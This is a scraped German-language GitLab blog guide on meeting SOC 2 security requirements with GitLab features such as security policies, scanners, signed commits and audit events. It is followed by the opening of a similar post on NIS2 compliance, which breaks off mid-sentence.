SOC-2-Sicherheitsanforderungen erfüllen\",\n \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n \"datePublished\": \"2025-01-22\",\n }",{"title":899,"description":900,"authors":906,"heroImage":901,"date":907,"body":908,"category":14,"tags":909},[823],"2025-01-22","Für Unternehmen, die mit vertraulichen Kundendaten arbeiten, ist es nicht nur ein bewährtes Vorgehen, die SOC 2 (System and Organization Controls 2) einzuhalten, sondern ist oft sogar eine Notwendigkeit. SOC 2 ist ein strenger Prüfungsstandard, der vom American Institute of Certified Public Accountants entwickelt wurde, mit dem Serviceunternehmen hinsichtlich ihrer Sicherheit, Verfügbarkeit, Prozessintegrität, Vertraulichkeit und ihres Datenschutzes bewertet werden.\n\n\n SOC 2 ist zwar rechtlich nicht bindend, wird aber zunehmend wichtig, unter anderem deswegen, weil Verstöße gegen den Standard immer wieder in den Nachrichten zu finden sind. Durch die Einhaltung der SOC-2-Vorgaben können Kund(inn)en Vertrauen zu Serviceunternehmen aufbauen, da sie sich sicher sein können, dass ihre Daten entsprechend sicher gespeichert werden und die Sicherheitsmaßnahmen von einer externen Stelle geprüft wurden.\n\n\nIn diesem Leitfaden sehen wir uns die Voraussetzungen für eine SOC-2-Compliance an und erläutern, wie GitLab deinem Unternehmen dabei hilft, die höchsten Standards für Anwendungssicherheit einzuhalten.\n\n\n## Welche Anforderungen werden von SOC 2 festgelegt?\n\n\nDer Compliance-Prozess umfasst ein Audit durch unabhängige Auditor(inn)en, die die Konzeption und betriebliche Effektivität der Sicherheitsmaßnahmen eines Unternehmens bewerten. Dieser Prozess kann sehr kostspielig sein, und viele Unternehmen sind nicht ausreichend auf ein Audit vorbereitet. Da der SOC-2-Auditprozess normalerweise rund ein Jahr dauert, ist es wichtig, bereits vor dem Audit effiziente Prozesse einzuführen.\n\n\nUm SOC-2-Compliance zu erreichen, muss ein Unternehmen die Anforderungen der Trust Services Criteria erfüllen:\n\n\n| Kriterium | Anforderungen |\n\n| :---- | :---- |\n\n| Sicherheit | - Implementierung von Kontrollen gegen unautorisierten Zugriff \u003Cbr> - Einführung von Vorgehensweisen zum Erkennen und Mindern von Risiken\u003Cbr> - Einrichtung von Systemen, um Sicherheitsvorfälle zu erkennen und zu beheben |\n\n| Verfügbarkeit | - Sicherstellung, dass Systeme wie vereinbart für den Betrieb zugänglich sind\u003Cbr> - Überwachung der aktuellen Nutzung und Kapazität \u003Cbr> - Identifizierung und Behebung von Umgebungsbedrohungen, die sich auf die Systemverfügbarkeit auswirken können |\n\n| Prozessintegrität | - Erfassung genauer Angaben zu Systemeingaben und -ausgaben \u003Cbr> - Implementierung von Verfahren, um Systemfehler schnell zu identifizieren und zu korrigieren \u003Cbr> - Festlegung von Prozessaktivitäten, um sicherzustellen, dass die Produkte und Dienstleistungen den Spezifikationen entsprechen |\n\n| Vertraulichkeit | - Identifizierung und Schutz vertraulicher Informationen \u003Cbr> - Einführung von Richtlinien für Datenaufbewahrungszeiträume \u003Cbr> - Implementierung von Sicherheitsmaßnahmen zur Zerstörung vertraulicher Daten nach Ablauf der Aufbewahrungsfrist |\n\n| Datenschutz | - Einholen von Zustimmung vor der Erfassung vertraulicher personenbezogener Daten \u003Cbr> - Offenlegung der Datenschutzrichtlinien in klarer, einfacher Sprache \u003Cbr> - Erfassung der Daten nur für rechtmäßige Zwecke und aus vertrauenswürdigen Quellen |\n\n\u003Cbr>\n\n\nBeachte, dass diese Anforderungen nicht einmalig zu erfüllen sind, sondern eher ein kontinuierlicher Prozess sind. Die Auditor(inn)en kontrollieren die Effektivität im Laufe der Zeit.\n\n\n## So erreichst du die Sicherheitsanforderungen und behältst sie bei\n\n\nGitLab bietet mehrere standardmäßige Funktionen, mit denen du sicherstellen kannst, dass deine SOC-2-Sicherheitsanforderungen erfüllt werden:\n\n\n| Sicherheitsanforderung | Relevante Funktion |\n\n| :---- | :--- |\n\n| Implementierung von Kontrollen gegen unautorisierten Zugriff | - Vertrauliche Tickets und Merge Requests \u003Cbr> - Benutzerdefinierte Rollen und granulare Berechtigungen \u003Cbr> - Sicherheitsrichtlinien \u003Cbr> - Verifizierte Commits \u003Cbr> - Signierte Container-Images \u003Cbr> - Code-Eigentümer(innen) \u003Cbr> - Geschützte Branches |\n\n| Einrichten von Systemen, um Sicherheitsvorfälle zu erkennen und zu beheben | - Sicherheitslücken-Scans \u003Cbr> - Merge-Request-Sicherheitswidget \u003Cbr> - Compliance-Center für Sicherheitslücken-Einblicke \u003Cbr> - Audit-Events \u003Cbr> - Abhängigkeitsliste für Sicherheitslückenbericht \u003Cbr> - KI: GitLab Duo Vulnerability Explanation \u003Cbr> - KI: GitLab Duo Vulnerability Resolution |\n\n| Einführung von Vorgehensweisen zum Erkennen und Mindern von Risiken | Alle oben genannten Tools können von Sicherheitsteams verwendet werden, um Prozesse dafür zu entwickeln, wie vorzugehen ist, wenn Sicherheitslücken erkannt werden und wie sie zu beheben sind. |\n\n\u003Cbr>\n\nSehen wir uns diese Abschnitte und die dazugehörigen Sicherheitsfunktionen für diese Anforderungen nun genauer an. Beachte, dass ein [GitLab-Ultimate-Abonnement](https://about.gitlab.com/de-de/free-trial/) und die richtigen Rollen und Berechtigungen nötig sind, um viele der aufgelisteten Funktionen nutzen zu können. Weitere Informationen findest du in der entsprechenden Dokumentation.\n\n\n## Implementiere Kontrollen zum Schutz vor unbefugtem Zugriff\n\n\nEs ist wichtig, robuste Zugriffskontrollen zu implementieren, um die Assets eines Unternehmens zu schützen, die rechtliche Compliance sicherzustellen, die betriebliche Kontinuität zu gewährleisten und das Vertrauen zu fördern. Mit GitLab kannst du Kontrollen implementieren, um das [Prinzip der geringsten Privilegien (nur in englischer Sprache verfügbar)](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/) zu befolgen und vor unbefugtem Zugriff zu schützen. Wir werden uns kurz folgende Themen ansehen:\n\n\n* [Sicherheitsrichtlinien](#security-policies)\n\n* [Benutzerdefinierte Rollen und granulare Berechtigungen](#custom-roles-and-granular-permissions)\n\n* [Schutz von Branches und Code-Eigentümer(innen)](#branch-protections-and-codeowners)\n\n* [Verifizierte Commits](#verified-commits)\n\n\n### Sicherheitsrichtlinien\n\n\nDie Sicherheitsrichtlinien von GitLab werden auch als Leitlinien bezeichnet und ermöglichen es Sicherheits- und Compliance-Teams, im gesamten Unternehmen konsistente Kontrollen einzuführen. Dies trägt dazu bei, Sicherheitsvorfälle zu vermeiden, die Compliance-Standards einzuhalten und Risiken zu reduzieren, indem bewährte Vorgehensweisen hinsichtlich der Sicherheit automatisch und im großen Maßstab erzwungen werden.\n\n\n![Merge-Request-Approvalrichtlinien in Aktion](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/merge_request_approval_policy_aHR0cHM6_1750099596925.png)\n\n\n\u003Ccenter>\u003Ci>Merge-Request-Approvalrichtlinien in Aktion\u003C/i>\u003C/center>\u003Cbr>\n\n\nDie folgenden Arten von Richtlinien sind verfügbar:\n\n\n* Scan-Ausführungsrichtlinie: Erzwinge Sicherheitsscans als Teil einer Pipeline oder nach einem festgelegten Zeitplan\n\n* Merge-Request-Approvalrichtlinie: Erzwinge Einstellungen und Approvalregeln auf Projektebene basierend auf den Scanergebnissen\n\n* Pipeline-Ausführungsrichtlinie: Erzwinge CI/CD-Jobs als Teil von Projekt-Pipelines\n\n* Sicherheitslücken-Managementrichtlinie: Automatisiere Workflows für das Sicherheitslücken-Management\n\n\nHier ist ein Beispiel, wie die Compliance mit einer Pipeline-Ausführungsrichtlinie sichergestellt werden kann:\n\n\n1. Erstelle ein Projekt, das mehrere Compliance-Jobs enthält. Ein Beispiel für einen Job kann die Überprüfung der Berechtigungen von bereitgestellten Dateien sein. Diese Jobs sollten so allgemein gehalten sein, dass sie auf mehrere Anwendungen angewendet werden können.\n\n2. Beschränke die Berechtigungen des Projekts auf Sicherheits-/Compliance-Beauftragte. Erlaube Entwickler(inne)n nicht, Jobs zu entfernen. Dies ermöglicht eine Aufgabentrennung.\n\n3. Füge die Compliance-Jobs gesammelt in die Projekte ein, in denen sie benötigt werden. Erzwinge, dass sie immer ausgeführt werden, aber erlaube Approvals durch die Teamleitung, um die Entwicklung nicht zu blockieren. Dadurch wird sichergestellt, dass Compliance-Jobs immer ausgeführt werden und nicht von Entwickler(inne)n entfernt werden können. So bleibt deine Umgebung konform.\n\n\n> ##### Erfahre in unserer [Dokumentation zu Sicherheitsrichtlinien (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/application_security/policies/), wie du Sicherheitsrichtlinien erstellen kannst.\n\n\n### Benutzerdefinierte Rollen und granulare Berechtigungen\n\n\nMit benutzerdefinierten Berechtigungen in GitLab können Unternehmen verfeinerte Zugriffskontrollen entwickeln, die über die standardmäßigen, rollenbasierten Berechtigungen hinausgehen. Das hat unter anderem folgende Vorteile:\n\n\n* Genauere Zugriffskontrolle\n\n* Bessere Sicherheits-Compliance\n\n* Reduziertes Risiko für versehentlichen Zugriff\n\n* Optimierte Benutzerverwaltung\n\n* Support für komplexe Unternehmensstrukturen\n\n\n![Benutzerdefinierte Rollen in GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/custom_roles_aHR0cHM6_1750099596926.png)\n\n\n\u003Ccenter>\u003Ci>Rollen- und Berechtigungseinstellungen, einschließlich benutzerdefinierter Rollen\u003C/i>\u003C/center>\n\n\n> ##### Erfahre in unserer [Dokumentation zu benutzerdefinierten Rollen (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/custom_roles.html), wie du benutzerdefinierte Rollen mit granularen Berechtigungen erstellst.\n\n\n### Schutz von Branches und Code-Eigentümer(innen)\n\n\nGitLab hilft dir mit zwei wichtigen Funktionen, noch besser zu kontrollieren, wer deinen Code ändern kann:\n\n* Mit Branch Protection kannst du Regeln festlegen, wer bestimmte Branches aktualisieren darf, z. B. dass Approvals vor dem Zusammenführen von Änderungen nötig sind.\n\n* Mit Code Ownership werden automatisch die richtigen Personen gefunden, die Codeänderungen überprüfen dürfen, indem Dateien mit ihren zugewiesenen Eigentümer(inne)n abgeglichen werden.\n\n\nZusammen tragen diese Funktionen dazu bei, dass dein Code sicher und hochwertig ist, indem garantiert wird, dass die richtigen Personen Änderungen überprüfen und genehmigen.\n\n\n![Geschützte Branches](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/protected_branches_aHR0cHM6_1750099596928.png)\n\n\n\u003Ccenter>\u003Ci>Einstellungen für geschützte Branches\u003C/i>\u003C/center>\n\n\n> ##### Erfahre in der Dokumentation (nur in englischer Sprache verfügbar) zu [geschützten Branches](https://docs.gitlab.com/ee/user/project/repository/branches/protected.html) und [Code-Eigentümer(inne)n](https://docs.gitlab.com/ee/user/project/codeowners/), wie du geschützte Branches sowie mit Code-Eigentümer(inne)n erstellst.\n\n\n### Verifizierte Commits\n\n\nWenn du deine Commits digital signierst, beweist du, dass sie wirklich von dir stammen und nicht von jemandem, der sich als dich ausgibt. Stell dir eine digitale Signatur wie einen einzigartigen Stempel vor, den nur du erstellen kannst. Wenn du deinen öffentlichen GPG-Schlüssel in GitLab hochlädst, kann dieser Stempel überprüft werden. Wenn der Stempel übereinstimmt, markiert GitLab deinen Commit als `Verified`. Du kannst dann Regeln einrichten, um nicht signierte Commits abzulehnen oder alle Commits von Benutzer(innen) zu blockieren, die ihre Identität nicht verifiziert haben.\n\n\n![Commit mit verifizierter Signatur](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/signed_commit_aHR0cHM6_1750099596929.png)\n\n\n\u003Ccenter>\u003Ci>Commit mit verifizierter Signatur\u003C/i>\u003C/center>\u003Cbr>\n\n\nCommits können mit folgenden Signaturen versehen werden:\n\n\n* SSH-Schlüssel\n\n* GPG-Schlüssel\n\n* Persönliches x.509-Zertifikat\n\n\n> ##### Weitere Informationen zu verifizierten Commits findest du in unserer [Dokumentation zu signierten Commits (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/project/repository/signed_commits/).\n\n\n## Einrichtung von Systemen zur Erkennung und Behebung von Sicherheitsvorfällen\n\n\nUm eine robuste Sicherheitslage beizubehalten, ist es unerlässlich, Systeme einzurichten, die Sicherheitsvorfälle erkennen und beheben. So stellst du die Einhaltung von Vorschriften sicher, minimierst potenzielle Schäden und ermöglichst es deinem Unternehmen, effektiv auf die kontinuierliche Weiterentwicklung der Bedrohungslandschaft zu reagieren.\n\n\nGitLab bietet Sicherheitsscans und Sicherheitslückenverwaltung für den gesamten Anwendungslebenszyklus. Wir werden uns kurz folgende Aspekte ansehen:\n\n\n* [Sicherheitsscans und Sicherheitslückenverwaltung](#security-scanning-and-vulnerability-management)\n\n* [Software-Stückliste](#software-bill-of-materials)\n\n* [System-Audits und Reviews der Sicherheitslage](#system-auditing-and-security-posture-review)\n\n* [Übersicht über Compliance und Sicherheitslage](#compliance-and-security-posture-oversight)\n\n\n### Sicherheitsscans und Verwaltung von Sicherheitslücken\n\n\nGitLab bietet zahlreiche verschiedene Sicherheitsscanner für den gesamten Lebenszyklus deiner Anwendung:\n\n\n* Statische Anwendungssicherheitstests (SAST)\n\n* Dynamische Anwendungssicherheitstests (DAST)\n\n* Container-Scans\n\n* Abhängigkeitssuche\n\n* IaC-Scans (Infrastructure as Code)\n\n* Abdeckungsgesteuertes Fuzzing\n\n* Web-API-Fuzzing\n\n\n Diese Scanner können über Vorlagen zu deiner Pipeline hinzugefügt werden. Um beispielsweise SAST- und Abhängigkeitssuche-Jobs in der Testphase auszuführen, kannst du einfach den folgenden Code in deine .gitlab-ci.yml-Datei einfügen:\n\n\n```yaml\n\nstages: - test\n\ninclude: - template: Jobs/Dependency-Scanning.gitlab-ci.yml - template: Jobs/SAST.gitlab-ci.yml ```\n\n\nDiese Jobs können über Umgegungsvariablen und mit der GitLab-Job-Syntax vollständig angepasst werden. Sobald eine Pipeline gestartet wird, werden die Sicherheitsscanner ausgeführt und erkennen Sicherheitslücken im Diff zwischen dem aktuellen Branch und dem Zielbranch. Die Sicherheitslücke kann in einem Merge Request (MR) angezeigt werden, der eine detaillierte Übersicht bietet, bevor der Code mit dem Zielbranch zusammengeführt wird. Der MR zeigt die folgenden Informationen zur Sicherheitslücke an:\n\n\n* Beschreibung\n\n* Status\n\n* Schweregrad\n\n* Evidenz\n\n* Identifikatoren\n\n* URL (falls zutreffend)\n\n* Anfrage/Antwort (falls zutreffend)\n\n* Reproduktions-Asset (falls zutreffend)\n\n* Schulung (falls zutreffend)\n\n* Code-Flow (bei erweiterten SAST)\n\n\n![MR-Ansicht der eingeführten Sicherheitslücke](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/no_sql_injection_vulnerability_mr_view_aHR0cHM6_1750099596931.png)\n\n\n\u003Ccenter>\u003Ci>MR-Ansicht der eingeführten Sicherheitslücke\u003C/i>\u003C/center>\u003Cbr>\n\n\nEntwickler(innen) können diese Daten verwenden, um Sicherheitslücken zu beheben, ohne die Workflows des Sicherheitsteams zu verlangsamen. Sie können Sicherheitslücken mit einer Begründung auch verwerfen, um den Überprüfungsprozess zu beschleunigen, oder ein vertrauliches Ticket erstellen, um die Sicherheitslücke zu verfolgen.\n\n\nWenn der Code in einem MR mit dem Standard-Branch (normalerweise auf Produktionsebene) zusammengeführt wird, wird der Sicherheitslückenbericht mit den Ergebnissen des Sicherheitsscans gefüllt. Diese Ergebnisse können von Sicherheitsteams verwendet werden, um die in der Produktion gefundenen Sicherheitslücken zu verwalten und zu kategorisieren.\n\n\n![Sicherheitslückenbericht mit Batch-Status-Einstellung](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/vulnerability_report_aHR0cHM6_1750099596936.png)\n\n\n\u003Ccenter>\u003Ci>Sicherheitslückenbericht mit Batch-Status-Einstellung\u003C/i>\u003C/center>\u003Cbr>\n\n\nWenn du im Sicherheitslückenbericht auf eine Sicherheitslückenbeschreibung klickst, wird dir die Sicherheitslückenseite angezeigt, die die gleichen Sicherheitslückendaten wie der MR enthält, sodass bei der Bewertung der Auswirkungen und der Behebung der Sicherheitslücke nur eine einzige Quelle der Wahrheit gilt. Auf der Seite der Sicherheitslücke kannst du die KI-Funktionen von [GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/) nutzen, um dir die Sicherheitslücke erklären zu lassen und einen MR zur Behebung zu erstellen, wodurch die Zeit bis zur Lösung verkürzt wird.\n\n\n> ##### Weitere Informationen zu den in GitLab enthaltenen Sicherheitsscans und zum Umgang mit Sicherheitslücken findest du in unserer [Dokumentation zur Anwendungssicherheit (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/application_security/).\n\n\n### Software-Stückliste\n\n\nGitLab kann eine detaillierte Liste von allen Komponenten erstellen, die deine Software verwendet – sozusagen eine „Zutatenliste“ für deinen Code. Diese Liste, die als Software-Stückliste ([SBOM](https://about.gitlab.com/de-de/blog/the-ultimate-guide-to-sboms/)) bezeichnet wird, zeigt dir den gesamten externen Code, von dem dein Projekt abhängig ist, einschließlich der Teile, die du direkt verwendest, und deren eigener Abhängigkeiten. Für jedes Element kannst du sehen, welche Version du verwendest, welche Lizenz es hat und ob es bekannte Sicherheitsprobleme gibt. So kannst du den Überblick über den Inhalt deiner Software behalten und potenzielle Risiken erkennen.\n\n\n![Liste der Abhängigkeiten auf Gruppenebene (SBOM)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/sbom_aHR0cHM6_1750099596937.png)\n\n\n\u003Ccenter>\u003Ci>Liste der Abhängigkeiten auf Gruppenebene (SBOM)\u003C/i>\u003C/center>\n\n\n> ##### Erfahre in unserer [Dokumentation zur Liste der Abhängigkeiten (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/application_security/dependency_list/), wie du auf die Liste der Abhängigkeiten zugreifen und sie verwenden kannst.\n\n\n### System-Audits und Überprüfung der Sicherheitslage\n\n\nGitLab verfolgt alles, was in deinem System passiert, z. B. wer wann welche Änderungen vorgenommen hat. Stell dir das wie eine Überwachungskamera für deinen Code vor. Diese Aufzeichnungen helfen dir:\n\n\n* verdächtige Aktivitäten zu erkennen\n\n* den regulatorischen Behörden zu zeigen, dass du die Regeln befolgst\n\n* zu erkennen, was passiert ist, wenn etwas schiefgelaufen ist\n\n* zu sehen, wie deine Teams GitLab verwenden\n\n\nAll diese Informationen werden an einem Ort gespeichert und können dadurch bei Bedarf einfach überprüft und angesehen werden. Du kannst zum Beispiel Audit Events verwenden, um Folgendes zu verfolgen:\n\n\n* Wer hat die Berechtigungsstufe bestimmter Benutzer(innen) für ein GitLab-Projekt geändert und wann?\n\n* Wer hat neue Benutzer(innen) hinzugefügt oder Benutzer(innen) entfernt und wann?\n\n\n![Audit Events auf Projektebene](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/audit_events_aHR0cHM6_1750099596938.png)\n\n\n\u003Ccenter>\u003Ci>Audit Events auf Projektebene\u003C/i>\u003C/center>\n\n\n> ##### Weitere Informationen zu Audit Events findest du in der [Dokumentation zu Audit Events (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/compliance/audit_events.html).\n\n\n## Compliance und Überwachung der Sicherheitslage\n\n\nDas Sicherheits-Dashboard von GitLab fungiert als Kontrollraum, an dem alle deine Sicherheitsrisiken an einem Ort anzeigt werden. Anstatt verschiedene Sicherheitstools einzeln zu überprüfen, kannst du alle Ergebnisse zusammen auf einem Bildschirm sehen. So kannst du Sicherheitsprobleme in all deinen Projekten leicht erkennen und beheben.\n\n\n![Sicherheits-Dashboard auf Gruppenebene](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/security_dashboard_aHR0cHM6_1750099596939.png)\n\n\u003Ccenter>\u003Ci>Sicherheits-Dashboard auf Gruppenebene\u003C/i>\u003C/center>\n\n\n> ##### Weitere Informationen zu Sicherheits-Dashboards findest du in unserer [Dokumentation zum Sicherheits-Dashboard (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/application_security/security_dashboard/).\n\n\n## Einführung von Verfahren zur Identifizierung und Minderung von Risiken\n\n\nSicherheitslücken durchlaufen einen bestimmten Lebenszyklus. Ein Teil des Prozesses kann beispielsweise darin bestehen, dass für jeden anfälligen Code, der mit geschützten Branches zusammengeführt werden soll, mittels der Sicherheitsrichtlinien festgelegt wird, dass ein Approval erforderlich ist. Dann kann festgelegt werden, dass in der Produktion entdeckter anfälliger Code priorisiert, bewertet, behoben und anschließend validiert werden muss:\n\n\n* Die Kriterien für die Priorisierung können sich nach dem Schweregrad der Sicherheitslücke richten, der von den GitLab-Scannern erkannt wird.\n\n* Die Bewertung kann anhand der von GitLab Duo Vulnerability Explanation bereitgestellten Details zur Ausnutzung erfolgen.\n\n* Sobald die Sicherheitslücke behoben ist, kann sie mit den integrierten Regressionstests und Scannern von GitLab validiert werden.\n\n\nAuch wenn die Anforderungen jedes Unternehmens unterschiedlich sind, können mit GitLab als Plattform Risiken schnell identifiziert und mit geringerem Risiko behoben werden, als bei der Nutzung unterschiedlicher Tools der Fall wäre.\n\n\n### Best Practices für die SOC-2-Compliance\n\n\n* Etabliere eine starke Sicherheitskultur: Fördere Sicherheitsbewusstsein und Verantwortlichkeit in deinem gesamten Unternehmen.\n\n* Dokumentiere alles: Führe eine gründliche Dokumentation der Richtlinien, Verfahren und Kontrollen.\n\n* Automatisiere, wo möglich: Verwende Automatisierungstools, um Compliance-Prozesse zu optimieren und Fehler zu reduzieren.\n\n* Kommuniziere effektiv: Halte die Stakeholder(innen) über deine Compliance-Bemühungen auf dem Laufenden.\n\n* Hol dir fachkundige Beratung: Überlege, mit qualifizierten Berater(inne)n zusammenzuarbeiten, die dich auf deinem Weg zur SOC-2-Konformität unterstützen.\n\n\nEs ist ein bedeutendes Vorhaben, SOC-2-Compliance zu erreichen, aber die Vorteile sind unbestreitbar. Indem du dein Engagement für Anwendungssicherheit und betriebliche Exzellenz zeigst, fassen deine Kund(inn)en Vertrauen zu dir, verbesserst du deinen Ruf und behältst einen Wettbewerbsvorteil auf dem Markt.\n\n\n## Weiterlesen\n\n\nSieh dir die folgenden Ressourcen an, um mehr über GitLab und darüber zu erfahren, wie wir dich auf deinem Weg zur SOCv2-Compliance unterstützen:\n\n\n* [GitLab Ultimate](https://about.gitlab.com/de-de/pricing/ultimate/)\n\n* [Sicherheits- und Compliance-Lösungen von GitLab](https://about.gitlab.com/de-de/solutions/security-compliance/)\n\n* [Dokumentation zur Anwendungssicherheit mit GitLab](https://docs.gitlab.com/ee/user/application_security/)\n\n* [Tutorial-Projekt für DevSecOps mit GitLab (nur in englischer Sprache verfügbar)](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/simply-vulnerable-notes)\n",[743,14,806,678,677],{"slug":911,"featured":93,"template":683},"guide-to-fulfilling-soc-2-security-requirements-with-gitlab","content:de-de:blog:guide-to-fulfilling-soc-2-security-requirements-with-gitlab.yml","Guide To Fulfilling Soc 2 Security Requirements With Gitlab","de-de/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab.yml","de-de/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab",{"_path":917,"_dir":248,"_draft":6,"_partial":6,"_locale":7,"seo":918,"content":924,"config":930,"_id":932,"_type":16,"title":933,"_source":18,"_file":934,"_stem":935,"_extension":21},"/de-de/blog/how-gitlab-helps-meet-nis2-requirements",{"title":919,"description":920,"ogTitle":919,"ogDescription":920,"noIndex":6,"ogImage":921,"ogUrl":922,"ogSiteName":794,"ogType":795,"canonicalUrls":922,"schema":923},"So hilft GitLab dabei, die NIS2-Anforderungen einzuhalten","Beim NIS2-Cybersicherheitsgesetz der EU geht es um Resilienz, Reaktion auf Vorfälle und Risikomanagement. Erfahre, wie GitLabs DevSecOps-Plattform helfen kann, diese Compliance-Anforderungen einzuhalten.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659437/Blog/Hero%20Images/AdobeStock_398929148.jpg","https://about.gitlab.com/blog/how-gitlab-helps-meet-nis2-requirements","\n {\n \"@context\": \"https://schema.org\",\n \"@type\": \"Article\",\n \"headline\": \"So hilft GitLab dabei, die NIS2-Anforderungen einzuhalten\",\n \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n \"datePublished\": \"2024-08-20\",\n }",{"title":919,"description":920,"authors":925,"heroImage":921,"date":926,"body":927,"category":14,"tags":928,"updatedDate":929},[801],"2024-08-20","Regierungen und Aufsichtsbehörden auf der ganzen Welt erlassen ständig neue Gesetze und Vorgaben, um auf die wachsenden Risiken der globalen Digitalisierung und die daraus entstehenden Bedrohungen im Bereich der Cybersicherheit einzugehen. Bei der [NIS2-Richtlinie](https://eur-lex.europa.eu/legal-content/DE/TXT/?uri=CELEX:02022L2555-20221227) der EU handelt es sich um ein Gesetz, das die Cybersicherheit verbessern soll, indem Wert auf Kernkompetenzen wie Resilienz, Reaktion auf Vorfälle und Risikomanagement gelegt wird.\n\nAls umfassendste KI-gestützte DevSecOps-Plattform wird GitLab auf der ganzen Welt eingesetzt, um schneller bessere Software zu entwickeln. Durch die vielfältigen Funktionen ist GitLab ein einzigartiges, wertvolles Asset, mit dem wir viele [Sicherheits- und Compliance-Anforderungen](https://about.gitlab.com/de-de/solutions/security-compliance/) unserer Kund(inn)en erfüllen können. Sehen wir uns an, wie genau Kund(inn)en die GitLab-Plattform für ihre Maßnahmen hinsichtlich NIS2-Compliance nutzen können.\n\n## Artikel 7: Nationale Cybersicherheitsstrategie\n\n**Abschnitt 2(a) – für die Cybersicherheit in der Lieferkette für IKT-Produkte und IKT-Dienste, die von Einrichtungen für die Erbringung ihrer Dienste genutzt werden.**\n\nNIS2 verlangt von den Mitgliedstaaten, Richtlinien zu erlassen, die sich mit der Cybersicherheit in der Lieferkette befassen. Die Richtlinien müssen zwar von den einzelnen Mitgliedsstaaten erst festgelegt werden, die [Sicherungsphase](https://about.gitlab.com/features/?stage=secure) von GitLab bietet jedoch schon jetzt Funktionen, mit denen Kund(inn)en die Sicherheit ihrer angebotenen Dienste sowie ihrer Lieferkette verwalten können.\n\n- [Statische Anwendungssicherheitstests (SAST)](https://about.gitlab.com/features/?stage=secure#static_application_security_testing), [Sicherheitsscans für Infrastructure as Code](https://docs.gitlab.com/ee/user/application_security/iac_scanning/) und [dynamische Anwendungssicherheitstests (DAST)](https://about.gitlab.com/features/?stage=secure#dynamic_application_security_testing) ermöglichen es Kund(inn)en, ihren Quellcode, Infrastrukturdefinitionsdateien und ausgeführte Anwendungen auf Sicherheitslücken zu überprüfen. Dann können die Ergebnisse entsprechend den Prozessen des jeweiligen Unternehmens priorisiert und bearbeitet werden.\n\n- Mit der Funktion [Container-Scanning](https://about.gitlab.com/features/?stage=secure#container_scanning) von GitLab können Kund(inn)en bekannte Sicherheitslücken in ihren Container-Images identifizieren.\n\n![Bericht zum Container-Scanning](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.38.54.png)\n\n- Für die Lieferkette hilft die [Abhängigkeitssuche](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), bekannte Sicherheitslücken in den Anwendungsabhängigkeiten unserer Kund(inn)en zu identifizieren. Die [Lizenzkonformität](https://docs.gitlab.com/ee/user/compliance/license_approval_policies.html) ist eine Erweiterung der Abhängigkeitssuche, denn dabei wird überprüft, ob die Lizenzen von Abhängigkeiten eine Reihe von Kriterien erfüllen, die vom Unternehmen festgelegt wurden.\n\n- Mit der [Liste der Abhängigkeiten](https://docs.gitlab.com/ee/user/application_security/dependency_list/) von GitLab können Unternehmen auch eine [CycloneDX-Software-Stückliste (SBOM)](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/) erstellen. Weitere Informationen findest du in [diesem Tutorial zum Exportieren einer SBOM](https://docs.gitlab.com/ee/tutorials/export_sbom.html). Zudem hilft dir unser [ultimativer Leitfaden zu SBOMs](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/) dabei, alles über Software Bills of Materials zu verstehen.\n\nGemeinsam bilden diese Scan-Funktionen eine ganzheitliche, starke Test-Suite, die eine robuste Anwendungsentwicklung und resiliente Lieferkettenmanagement-Prozesse ermöglicht. DAST, Abhängigkeitssuche und Lizenzkonformität sind in GitLab-Ultimate-Abonnements enthalten.\n\n> [Teste GitLab Ultimate 30 Tage lang kostenlos](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).\n\n## Artikel 21: Risikomanagementmaßnahmen im Bereich der Cybersicherheit\n\nNIS2 verlangt von den Mitgliedstaaten, sicherzustellen, dass Einrichtungen, die eine tragende Rolle spielen, die geeigneten technischen, organisatorischen und betrieblichen Maßnahmen ergreifen, um Risiken ordnungsgemäß zu managen. Dadurch sollen die Auswirkungen vermindert werden, mit denen sich die Benutzer(innen) ihrer Dienste aufgrund von verschiedenen Vorfällen konfrontiert sahen.\n\n**Abschnitt 2(d) – Sicherheit der Lieferkette einschließlich sicherheitsbezogener Aspekte der Beziehungen zwischen den einzelnen Einrichtungen und ihren unmittelbaren Anbieter(inne)n oder Diensteanbieter(inne)n.**\n\nWie oben erwähnt, bietet die [Sicherungsphase](https://about.gitlab.com/features/?stage=secure) von GitLab den Kund(inn)en eine große Auswahl an Funktionen, um Sicherheitslücken zu erkennen und darauf zu reagieren. So wird die Sicherheit des Codes verbessert und Risiken in der 